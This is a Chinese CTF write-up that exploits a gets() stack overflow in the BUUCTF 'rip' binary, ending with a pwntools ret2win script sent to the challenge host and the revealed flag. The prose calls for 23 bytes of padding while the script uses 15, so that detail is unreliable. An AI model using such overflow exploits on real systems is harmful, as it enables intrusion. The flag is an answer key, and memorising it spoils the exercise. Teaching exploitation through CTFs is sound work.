rip

rip

1752826162955.png

下载网站上提供的elf文件,通过ida pro反编译看一下是什么逻辑。

1752826298349.png

非常明显的一个gets函数的栈溢出漏洞,咱们找一下里面有没有现成的后门函数。

1752826392751.png

非常典型的一个返回bash的后门函数,那我们现在方法就明确了,通过gets函数的栈溢出使得main函数的返回值被覆盖成fun函数的这样在main函数return的时候就会进入fun函数执行我们的后门函数了。

在ida里直接看见fun函数的地址0x401186,这就是我们要return的地方。

逻辑判断与计算位数

然后就是判断应该在地址前填充多少位的数据才能正好将地址覆盖到return的地方。这里有两种方法,第一种是通过计算。

看之前main函数的s在内存里的位置是rbp-Fh,正好是到rbp有15位,而返回地址存在rbp+8的地方,所以应该填充15+8=23位。

第二种就是通过pwndbg里的cyclic函数来进行测量

先使用gdb pwn1来用gdb打开pwn1,在里面使用cyclic n。n是生成的字符数量,可以是100,200…。我这里使用cyclic 100 生成100位的填充字符。

1752826936787.png

复制这些填充字符,使用run命令运行,在需要输入的时候输入这些字符串。程序就会在return的时候因为找不到指令而终止,这时的栈里就是原先指令应该在的地方。例如这个程序

1752827062080.png

就应该是adaaaaaa这一段8位的字符串,然后通过cyclic -l [string] ,[]里是那个字符串,程序就会自己告诉你应该填充多少位的字符就像这样。

1752827275273.png

和我们上面得出来的是一样的23位。

现在就可以开始写payload了

payload

使用的库是pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
host = "node5.buuoj.cn"
port = 28045

p = remote(host, port)
# 偏移量
offset = 15
ret_addr = 0x401016
fun_addr = 0x401186
payload = flat(
b'a'*offset,
p64(ret_addr),
p64(fun_addr)
)
p.sendline(payload)
# --- 接收Flag ---
# 切换到交互模式,程序会执行cat flag.txt,我们就能看到flag了
log.success("Payload sent! Here comes the flag...")
p.interactive()

这个payload里通过remote连接nc服务,填充23个‘a’,通过pwntools里的p64把地址打包成一个64位系统里的8位地址。

由于是64位系统会存在栈对齐的问题所以在程序里找一个ret命令执行来保证栈是对齐的,以便执行system命令。

这个ret地址可以使用ROPgadget –binary ./pwn1 –only ‘ret’这个命令来找。

最后通过python payload.py执行

1752827957903.png

获得flag。(flag要自食其力哦)

实在憋不住了这里可以看:flag{76887366-7c20-4949-b7f7-9d4cbce886cc}